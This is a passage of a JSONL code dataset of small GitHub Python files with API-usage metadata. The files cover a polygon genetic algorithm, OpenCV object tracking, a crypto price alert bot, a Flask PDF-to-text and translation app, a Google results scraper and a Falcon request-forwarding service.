93, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 93, "usage_type": "name"}, {"api_name": "RL_DQN.Hyperparameters.TARGET_UPDATE", "line_number": 95, "usage_type": "attribute"}, {"api_name": "RL_DQN.Hyperparameters", "line_number": 95, "usage_type": "name"}, {"api_name": "time.time", "line_number": 105, "usage_type": "call"}, {"api_name": "RL_DQN.log_returns", "line_number": 108, "usage_type": "call"}, {"api_name": "MalmoPython.AgentHost", "line_number": 113, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 115, "usage_type": "attribute"}]} {"seq_id": "28479163639", "text": "# created by Sijmen van der Willik\n# 2019-06-05 18:55\n\nimport copy\nimport cv2\nimport numpy as np\n\nfrom Individual import Individual\n\nstart_poly_count = 3\n\n\nclass Population:\n def __init__(self, popsize, target_img):\n self.popsize = popsize\n self.target_img = target_img\n self.individuals = []\n\n for i in range(popsize):\n self.individuals.append(Individual(start_poly_count))\n\n self.calc_fitness()\n\n def calc_fitness(self):\n for ind in self.individuals:\n ind.calc_fitness(self.target_img)\n\n # sort the list\n self.individuals.sort(key=lambda x: x.fitness, reverse=False)\n\n def combine(self):\n rt = int(np.sqrt(self.popsize) - 1)\n count = 1\n\n for i in range(rt):\n for j in range(rt):\n new = copy.deepcopy(self.individuals[i])\n new.crossover(self.individuals[j])\n self.individuals[count] = new\n count += 1\n\n while count < self.popsize:\n self.individuals[count] = copy.deepcopy(self.individuals[count % 5])\n count += 1\n\n def mutate(self):\n # never mutate top individual to preserve current best\n count = 0\n for ind in self.individuals:\n if count == 0:\n count += 1\n continue\n ind.mutate()\n\n def next_gen(self):\n self.combine()\n self.mutate()\n self.calc_fitness()\n\n def get_best(self):\n return self.individuals[0]\n\n\nif __name__ == \"__main__\":\n target = cv2.imread(\"./bird_100.png\")\n pop = Population(100, target)\n\n n_gen = 2000\n\n for n in range(n_gen):\n cv2.imwrite(\"./out/out_{:3<0}_{:6<0}.png\".format(n, pop.get_best().fitness//1), pop.get_best().img)\n\n fitnesses = []\n for ind in pop.individuals:\n fitnesses.append(ind.fitness)\n\n print(\"Gen: {}, Avg: {}, Best: {}\".format(n, np.average(fitnesses).astype(int), np.min(fitnesses)))\n pop.next_gen()\n\n cv2.imwrite(\"./result.png\", pop.get_best().img)\n", "repo_name": "sijmenw/simple-genetic-algorithm", "sub_path": "Population.py", "file_name": "Population.py", "file_ext": "py", "file_size_in_byte": 2071, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Individual.Individual", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 32, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 37, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 80, "usage_type": "call"}]} {"seq_id": "34465013450", "text": "import cv2\r\n\r\nvid=cv2.VideoCapture(\"footvolleyball.mp4\")\r\n\r\ntracker=cv2.TrackerCSRT_create()\r\ncheck,img=vid.read()\r\n\r\nbbox=cv2.selectROI(\"ball\",img,False)\r\ntracker.init(img,bbox)\r\nprint(bbox)\r\n\r\ndef drawBox(frame,bbox):\r\n x,y,w,h=int(bbox[0]),int(bbox[1]),int(bbox[2]),int(bbox[3])\r\n cv2.rectangle(frame,(x,y),(x+w,y+h),(0,0,255),3,1)\r\n cv2.putText(frame,\"TRACKING\",(75,90),cv2.FONT_HERSHEY_COMPLEX,1,(0,0,255),2)\r\n\r\nwhile True:\r\n ret,frame=vid.read()\r\n\r\n success,bbox=tracker.update(frame)\r\n\r\n if success:\r\n drawBox(frame,bbox)\r\n else:\r\n cv2.putText(frame,'LOST',(75,90),cv2.FONT_HERSHEY_COMPLEX,1,(0,0,255),2)\r\n\r\n cv2.imshow(\"video\",frame)\r\n if cv2.waitKey(1)==32:\r\n break\r\n\r\nvid.release()\r\ncv2.destroyAllWindows()\r\n", "repo_name": "NiharikaYG07/class-119", "sub_path": "objectTracking.py", "file_name": "objectTracking.py", "file_ext": "py", "file_size_in_byte": 766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.VideoCapture", "line_number": 3, "usage_type": "call"}, {"api_name": "cv2.TrackerCSRT_create", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.selectROI", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 32, "usage_type": "call"}]} {"seq_id": "4120038047", "text": "from aiogram.types import ParseMode\nfrom aiohttp import ClientSession\nfrom sqlalchemy import select\n\nfrom data.config import get_crypto_now\nfrom db.models import User\nfrom loader import dp\n\n\nasync def check_diff(pair: str, value: float, now: float, difference: float, user_id: int):\n db_session = dp.bot.get(\"db\")\n async with db_session() as session:\n if abs(100.0 - (value * 100 / now)) > difference:\n user = await session.get(User, user_id)\n user.pairs[pair] = now\n await session.merge(user)\n await session.commit()\n await dp.bot.send_message(chat_id=user_id, text=f\"WARNING:\\n\"\n f\"{pair} REQUEST: {value}\\n\"\n f\"{pair} NOW: {now}\\n\"\n f\"Difference since last request:\\n\"\n f\"{round(now - value, 8)},\"\n f\" {round(100.0 - (value * 100 / now), 2)}%\",\n parse_mode=ParseMode.MARKDOWN)\n\n\nasync def diff_currency():\n db_session = dp.bot.get(\"db\")\n aiohttp_session = ClientSession()\n sql = select(User)\n async with db_session() as session:\n users_request = await session.execute(sql)\n users = users_request.scalars()\n for user in users:\n for pair, price in user.pairs.items():\n price_now = await get_crypto_now(aiohttp_session, pair)\n await check_diff(pair=pair, value=float(price), now=float(price_now), difference=user.percent,\n user_id=user.user_id)\n\n await aiohttp_session.close()\n", "repo_name": "alveraboquet/cryptocurrency_checker", "sub_path": "scheduler/currencies.py", "file_name": "currencies.py", "file_ext": "py", "file_size_in_byte": 1766, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "loader.dp.bot.get", "line_number": 11, "usage_type": "call"}, {"api_name": "loader.dp.bot", "line_number": 11, "usage_type": "attribute"}, {"api_name": "loader.dp", "line_number": 11, "usage_type": "name"}, {"api_name": "db.models.User", "line_number": 14, "usage_type": "argument"}, {"api_name": "loader.dp.bot.send_message", "line_number": 18, "usage_type": "call"}, {"api_name": "loader.dp.bot", "line_number": 18, "usage_type": "attribute"}, {"api_name": "loader.dp", "line_number": 18, "usage_type": "name"}, {"api_name": "aiogram.types.ParseMode.MARKDOWN", "line_number": 24, "usage_type": "attribute"}, {"api_name": "aiogram.types.ParseMode", "line_number": 24, "usage_type": "name"}, {"api_name": "loader.dp.bot.get", "line_number": 28, "usage_type": "call"}, {"api_name": "loader.dp.bot", "line_number": 28, "usage_type": "attribute"}, {"api_name": "loader.dp", "line_number": 28, "usage_type": "name"}, {"api_name": "aiohttp.ClientSession", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.select", "line_number": 30, "usage_type": "call"}, {"api_name": "db.models.User", "line_number": 30, "usage_type": "argument"}, {"api_name": "data.config.get_crypto_now", "line_number": 36, "usage_type": "call"}]} {"seq_id": "74711805023", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 3 13:40:25 2019\r\n\r\n@author: Radhanath\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nplt.figure(1)\r\nR1 = 1086000\r\nR2 = 60900\r\ndatain = np.loadtxt('stim_data.txt',usecols = (2),skiprows = 1)\r\nsamplerate = 1000\r\nxaxis = np.linspace(0,len(datain)/samplerate, num = len(datain))\r\nvoltage = (datain*(R1+R2))/R2\r\nplt.plot(xaxis,voltage)\r\nplt.ylabel(\"voltage(volts)\")\r\nplt.xlabel(\"time(s)\")\r\nplt.title(\"example stimulation dose (2.5 minutes) load = 20k\")\r\ncurrent = voltage/20000\r\nplt.figure(2)\r\nplt.plot(xaxis,current*1000)\r\nplt.ylabel(\"current(mAmps)\")\r\nplt.xlabel(\"time(s)\")\r\nplt.title(\"example stimulation dose (2.5 minutes) load = 20k\")", "repo_name": "angryseptagon/tDCSDisposable", "sub_path": "Coding related /demo stim plot/python calc script 2.py", "file_name": "python calc script 2.py", "file_ext": "py", "file_size_in_byte": 696, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}]} {"seq_id": "32487134520", "text": "# _*_ coding:Utf8 _*_\n\nimport sqlite3\nfrom sqlite3 import Error\nfrom model.History import History\n\n\n# Initializing the connection to the database\ndef init_connection():\n try:\n connection = sqlite3.connect(\"History.db\")\n create_table(connection)\n except Error as e:\n raise f\"A SQLite error occured: {e}\"\n\n return connection\n\n\n# Closing the connection to the database\ndef close_connection(connection):\n try:\n connection.close()\n except Error as e:\n raise f\"A SQLite error occured: {e}\"\n\n\n# Deleting history table if existing\ndef drop_table(connection):\n req_drop = \"\"\"DROP TABLE IF EXISTS history\"\"\"\n\n try:\n cur_drop = connection.cursor()\n cur_drop.execute(req_drop)\n connection.commit()\n except Error as e:\n raise f\"A SQLite error occured: {e}\"\n\n\n# Creating history table if it exists\ndef create_table(connection):\n req_create = \"\"\"CREATE TABLE IF NOT EXISTS history (\n id INTEGER PRIMARY KEY NOT NULL,\n file_name TEXT NOT NULL,\n solving_date DATE NOT NULL,\n solving_time REAL NOT NULL\n )\n \"\"\"\n\n try:\n cur_create = connection.cursor()\n cur_create.execute(req_create)\n except Error as e:\n raise f\"A SQLite error occured: {e}\"\n\n\n# Inserting a row in the history\ndef insert_history(connection, file_name, solving_date, solving_time):\n req_insert_history = \"\"\"\n INSERT INTO history(\n file_name,\n solving_date,\n solving_time\n )\n VALUES\n (?, ?, ?)\n \"\"\"\n\n tuple_insert_hist = (file_name, solving_date, solving_time)\n\n try:\n cur_insert_history = connection.cursor()\n cur_insert_history.execute(req_insert_history, tuple_insert_hist)\n connection.commit()\n except Error as e:\n raise f\"A SQLite error occured: {e}\"\n\n\n# Reading the history\ndef select_history(connection):\n list_history = []\n req_select_all = \"\"\"SELECT * FROM history\"\"\"\n\n try:\n cur_select_all = connection.cursor()\n cur_select_all.execute(req_select_all)\n rows = cur_select_all.fetchall()\n\n for row in rows:\n history = History(row[1], row[2], row[3])\n\n list_history.append(history)\n\n except Error as e:\n raise f\"A SQLite error occured: {e}\"\n\n return list_history\n", "repo_name": "Gu21/Evaluation_python", "sub_path": "model/db_connector.py", "file_name": "db_connector.py", "file_ext": "py", "file_size_in_byte": 2579, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sqlite3.connect", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlite3.Error", "line_number": 13, "usage_type": "name"}, {"api_name": "sqlite3.Error", "line_number": 23, "usage_type": "name"}, {"api_name": "sqlite3.Error", "line_number": 35, "usage_type": "name"}, {"api_name": "sqlite3.Error", "line_number": 52, "usage_type": "name"}, {"api_name": "sqlite3.Error", "line_number": 74, "usage_type": "name"}, {"api_name": "model.History.History", "line_number": 89, "usage_type": "call"}, {"api_name": "sqlite3.Error", "line_number": 93, "usage_type": "name"}]} {"seq_id": "33197926608", "text": "import pytest\nfrom django.utils import timezone\nfrom django.utils.http import urlencode\n\npytestmark = pytest.mark.django_db\n\n\nclass TestDateFrameViewSetQueries:\n base_url = '/api/date_frames/'\n\n def test_date_frame_list_view(self, client, django_assert_num_queries, active_user, date_frame_create_batch):\n client.force_authenticate(user=active_user)\n with django_assert_num_queries(2):\n client.get(self.base_url)\n\n @pytest.mark.parametrize(\n 'filter_lookup',\n [\n {'created': timezone.now()},\n {'created__gt': timezone.now()},\n {'created__gte': timezone.now()},\n {'created__lt': timezone.now()},\n {'created__lte': timezone.now()},\n {'frame_type': 0},\n {'frame_type': 1},\n {'frame_type': 2},\n {'is_finished': True},\n {'is_finished': 1},\n {'is_finished': False},\n {'is_finished': 0},\n ]\n )\n def test_date_frame_list_view_filter(self, filter_lookup, client, django_assert_max_num_queries, active_user,\n date_frame_create_batch):\n url = f'{self.base_url}?{urlencode(query=filter_lookup)}'\n client.force_authenticate(user=active_user)\n with django_assert_max_num_queries(2):\n client.get(url)\n", "repo_name": "kamil559/Pomodorr_backend_v1", "sub_path": "pomodorr/frames/tests/test_queries.py", "file_name": "test_queries.py", "file_ext": "py", "file_size_in_byte": 1351, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pytest.mark", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.utils.http.urlencode", "line_number": 35, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 16, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.utils.timezone.now", "line_number": 19, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 19, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 20, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 20, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 21, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 21, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 22, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 22, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 23, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 23, "usage_type": "name"}]} {"seq_id": "35016622306", "text": "from flask import (\n Flask,\n request,\n send_file,\n render_template,\n send_from_directory,\n jsonify,\n)\nfrom googletrans import Translator\n\nfrom PyPDF2 import PdfReader\nimport os\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index_get():\n return render_template(\"index.html\")\n\n\n@app.route(\"/bootstrap-5.3.1-dist/\")\ndef serve_static(filename):\n return send_from_directory(\"bootstrap-5.3.1-dist\", filename)\n\n\n@app.route(\"/images/\")\ndef serve_images(filename):\n return send_from_directory(\"images\", filename)\n\n\n@app.route(\"/language_translator\")\ndef language_translator():\n return render_template(\"language_translator.html\")\n\n\n@app.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\n\n\n@app.route(\"/convert_pdf\", methods=[\"POST\"])\ndef convert_pdf():\n print(\"Received request to convert PDF\")\n if \"file\" not in request.files:\n return \"No file part\", 400\n\n pdf_file = request.files[\"file\"]\n\n if pdf_file.filename == \"\":\n return \"No selected file\", 400\n\n if pdf_file:\n file_path = os.path.join(\"uploads\", pdf_file.filename)\n pdf_file.save(file_path)\n\n output_path = file_path.replace(\".pdf\", \".txt\")\n output_text = \"\"\n\n reader = PdfReader(file_path)\n for page in reader.pages:\n output_text += page.extract_text()\n\n with open(output_path, \"w\") as txt_file:\n txt_file.write(output_text)\n\n return send_file(output_path, as_attachment=True)\n\n\n@app.route(\"/translate\", methods=[\"POST\"])\ndef translate():\n # Get the selected languages from the front end\n from_language = request.form.get(\"from_language\")\n to_language = request.form.get(\"to_language\")\n\n # Get the text to be translated from the front end\n text_to_translate = request.form.get(\"text_to_translate\")\n\n # Perform translation\n translator = Translator()\n translated_text = translator.translate(\n text_to_translate, src=from_language, dest=to_language\n ).text\n\n # Return translated text to the front end\n return jsonify({\"translated_text\": translated_text})\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n", "repo_name": "Hitesh-Aggarwal/pdf_to_text_and_language_translator", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2181, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 45, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "PyPDF2.PdfReader", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.send_file", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "googletrans.Translator", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 86, "usage_type": "call"}]} {"seq_id": "19993792662", "text": "from collections import defaultdict\nfrom pathlib import Path\nfrom typing import DefaultDict, Iterator, List, Set\n\nimport numpy as np\nimport SimpleITK\nfrom PIL import Image\nfrom PIL.Image import DecompressionBombError\n\nfrom panimg.exceptions import UnconsumedFilesException, ValidationError\nfrom panimg.models import SimpleITKImage\n\n\ndef format_error(message: str) -> str:\n return f\"Fallback image builder: {message}\"\n\n\ndef image_builder_fallback(*, files: Set[Path]) -> Iterator[SimpleITKImage]:\n \"\"\"\n Constructs image objects by inspecting files in a directory.\n\n Parameters\n ----------\n path\n Path to a directory that contains all images that were uploaded during\n an upload session.\n\n Returns\n -------\n An `ImageBuilder` object consisting of:\n - a list of filenames for all files consumed by the image builder\n - a list of detected images\n - a list files associated with the detected images\n - path->error message map describing what is wrong with a given file\n \"\"\"\n file_errors: DefaultDict[Path, List[str]] = defaultdict(list)\n\n for file in files:\n try:\n img = Image.open(file)\n\n if img.format.lower() not in [\"jpeg\", \"png\"]:\n raise ValidationError(\n f\"Unsupported image format: {img.format}\"\n )\n\n img_array = np.array(img)\n is_vector = img.mode != \"L\"\n img = SimpleITK.GetImageFromArray(img_array, isVector=is_vector)\n\n yield SimpleITKImage(\n image=img,\n name=file.name,\n consumed_files={file},\n spacing_valid=False,\n )\n except (OSError, ValidationError, DecompressionBombError):\n file_errors[file].append(format_error(\"Not a valid image file\"))\n\n if file_errors:\n raise UnconsumedFilesException(file_errors=file_errors)\n", "repo_name": "DIAGNijmegen/rse-panimg", "sub_path": "panimg/image_builders/fallback.py", "file_name": "fallback.py", "file_ext": "py", "file_size_in_byte": 1914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Set", "line_number": 18, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 18, "usage_type": "name"}, {"api_name": "typing.DefaultDict", "line_number": 36, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 36, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 40, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 40, "usage_type": "name"}, {"api_name": "panimg.exceptions.ValidationError", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 47, "usage_type": "call"}, {"api_name": "SimpleITK.GetImageFromArray", "line_number": 49, "usage_type": "call"}, {"api_name": "panimg.models.SimpleITKImage", "line_number": 51, "usage_type": "call"}, {"api_name": "panimg.exceptions.ValidationError", "line_number": 57, "usage_type": "name"}, {"api_name": "PIL.Image.DecompressionBombError", "line_number": 57, "usage_type": "name"}, {"api_name": "panimg.exceptions.UnconsumedFilesException", "line_number": 61, "usage_type": "call"}, {"api_name": "typing.Iterator", "line_number": 18, "usage_type": "name"}, {"api_name": "panimg.models.SimpleITKImage", "line_number": 18, "usage_type": "name"}]} {"seq_id": "18223455339", "text": "import os\nimport urllib.parse\n\nimport pandas as pd\nimport requests\nfrom bs4 import BeautifulSoup\nfrom requests_html import HTML\nfrom requests_html import HTMLSession\nimport streamlit as st\n\n\nclass GoogleSearch:\n USER_AGENT = (\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582\"\n )\n\n PROXIES = {\"http\": os.getenv(\"HTTP_PROXY\")}\n\n def __init__(self, query):\n self.query = query\n\n def get_source(self, url):\n \"\"\"Return the source code for the provided URL.\n\n Args:\n url (str): URL of the page to scrape.\n\n Returns:\n response (object): HTTP response object from requests_html.\n \"\"\"\n try:\n session = HTMLSession()\n response = session.get(url, headers={\"User-agent\": self.USER_AGENT}, proxies=self.PROXIES)\n return response\n except requests.exceptions.RequestException as e:\n print(e)\n\n def get_results(self):\n query = urllib.parse.quote_plus(self.query)\n response = self.get_source(\"https://www.google.com/search?q=\" + query)\n return response\n\n def parse_results(self, response):\n css_identifier_result = \".tF2Cxc\"\n css_identifier_title = \"h3\"\n css_identifier_link = \".yuRUbf a\"\n css_identifier_text = \".IsZvec\"\n results = response.html.find(css_identifier_result)\n output = []\n for result in results:\n item = {\n \"title\": result.find(css_identifier_title, first=True).text,\n \"link\": result.find(css_identifier_link, first=True).attrs[\"href\"],\n \"text\": result.find(css_identifier_text, first=True).text,\n }\n output.append(item)\n return output\n\n def search(self):\n response = self.get_results()\n return self.parse_results(response)\n \n def get_researcher_stats(id):\n \n html = requests.get(f'https://scholar.google.com/citations?hl=en&user={id}', headers=headers, proxies=proxies)\n soup = BeautifulSoup(html.text, 'lxml')\n\n interests = soup.select_one('#gsc_prf_int').text\n\n for info in soup.select('.gsc_rsb'):\n\n cite_total = info.select_one('tr:nth-child(1) .gsc_rsb_sc1+ .gsc_rsb_std').text\n cite_last5 = info.select_one('tr:nth-child(1) .gsc_rsb_std+ .gsc_rsb_std').text\n h_total = info.select_one('tr:nth-child(2) .gsc_rsb_sc1+ .gsc_rsb_std').text\n h_last5 = info.select_one('tr:nth-child(2) .gsc_rsb_std+ .gsc_rsb_std').text\n i_total = info.select_one('tr~ tr+ tr .gsc_rsb_sc1+ .gsc_rsb_std').text\n i_last5 = info.select_one('tr~ tr+ tr .gsc_rsb_std+ .gsc_rsb_std').text\n #articles_num = info.select_one('.gsc_rsb_m_a:nth-child(1) span').text.split(' ')[0]\n\n years = [graph_year.text for graph_year in soup.select('.gsc_g_t')]\n citations = [graph_citation.text for graph_citation in soup.select('.gsc_g_a')]\n\n citation_data = []\n\n for year, citation in zip(years,citations):\n citation_data.append({\n 'year': year,\n 'citation': citation,\n }) \n\n return cite_total, cite_last5, h_total, h_last5, i_total, i_last5\n", "repo_name": "htaylan/SelfCitationChecker", "sub_path": "extract_data_from_google.py", "file_name": "extract_data_from_google.py", "file_ext": "py", "file_size_in_byte": 3337, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.getenv", "line_number": 17, "usage_type": "call"}, {"api_name": "requests_html.HTMLSession", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 35, "usage_type": "attribute"}, {"api_name": "urllib.parse.parse.quote_plus", "line_number": 39, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 39, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 39, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 65, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 66, "usage_type": "call"}]} {"seq_id": "6684536153", "text": "# -*- coding: utf-8 -*-\n\nimport cgi\nimport json\nimport falcon\nimport logging\nimport requests\n\nfrom opentracing.ext import tags\nfrom opentracing.propagation import Format\n\nfrom chariot_base.utilities import Traceable\n\n\nclass SinkAdapter(Traceable):\n\n def __init__(self):\n super(Traceable, self).__init__()\n self.services = None\n self.session = requests.Session()\n self.session.trust_env = False\n\n def __call__(self, req, resp, engine, path=None):\n try:\n path = path or ''\n q = req.query_string or ''\n\n span = self.start_span('forward_message')\n url = self.get_service_url(span, req, resp, engine, path)\n span.set_tag('url', url)\n\n headers = self.inject_to_request_header(span, url)\n\n if req.content_type is not None and req.content_type.find('multipart/form-data') > -1:\n result = self.forward_file(req, resp)\n else:\n data = self.get_body(req, resp)\n result = self.forward(req, resp, url, headers, data)\n\n resp.status = f'{result.status_code} {result.reason}'\n\n resp.content_type = result.headers['content-type']\n resp.body = result.text\n self.close_span(span)\n except Exception as ex:\n logging.error(ex)\n self.set_tag(span, 'is_ok', False)\n self.error(span, ex, False)\n self.close_span(span)\n\n def forward_file(self, req, resp):\n try:\n logging.info('Forward multipart request')\n files = {}\n form_data = {}\n for key, value in req.params.items():\n if isinstance(value, cgi.FieldStorage) :\n files[value.name] = (value.filename, value.file, value.type)\n else:\n form_data[key] = value\n return self.session.post(url, headers=headers, data=form_data, files=files)\n except Exception as ex:\n logging.error(ex)\n\n def get_body(self, req, resp):\n body = req.stream.read()\n if len(body) > 0:\n data = json.loads(body.decode('utf-8'))\n logging.debug(f'Serialized data: {data}')\n else:\n data = None\n return data\n\n def forward(self, req, resp, url, headers, data=None):\n if req.method == 'GET':\n result = self.session.get(url, headers=headers)\n elif req.method == 'POST':\n result = self.session.post(url, headers=headers, json=data)\n elif req.method == 'PUT':\n result = self.session.put(url, headers=headers, json=data)\n elif req.method == 'PATCH':\n result = self.session.patch(url, headers=headers, json=data)\n elif req.method == 'DELETE':\n result = self.session.delete(url, headers=headers, json=data)\n elif req.method == 'HEAD':\n result = self.session.head(url, headers=headers)\n elif req.method == 'OPTIONS':\n result = self.session.options(url, headers=headers)\n else:\n result = self.session.get(url, headers=headers)\n\n return result\n\n def get_service_url(self, span, req, resp, engine, path=None):\n path = path.strip(\"/\") or ''\n q = req.query_string.strip(\"?\") or ''\n url = self.services[engine]\n\n if path != '':\n url = f'{url}/{path}'\n\n if q != '':\n url = f'{url}?{q}'\n\n span.set_tag('url', url)\n logging.debug(f'Url: {url}, Path: {path}, Q: {q}')\n return url\n\n def add_services(self, services):\n self.services = services\n", "repo_name": "charIoT-h2020/chariot-northbound-dispatcher", "sub_path": "chariot_northbound_dispatcher/resources/forward.py", "file_name": "forward.py", "file_ext": "py", "file_size_in_byte": 3640, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "chariot_base.utilities.Traceable", "line_number": 15, "usage_type": "name"}, {"api_name": "chariot_base.utilities.Traceable", "line_number": 18, "usage_type": "argument"}, {"api_name": "requests.Session", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 53, "usage_type": "call"}, {"api_name": "cgi.FieldStorage", "line_number": 57, "usage_type": "attribute"}, {"api_name": "logging.error", 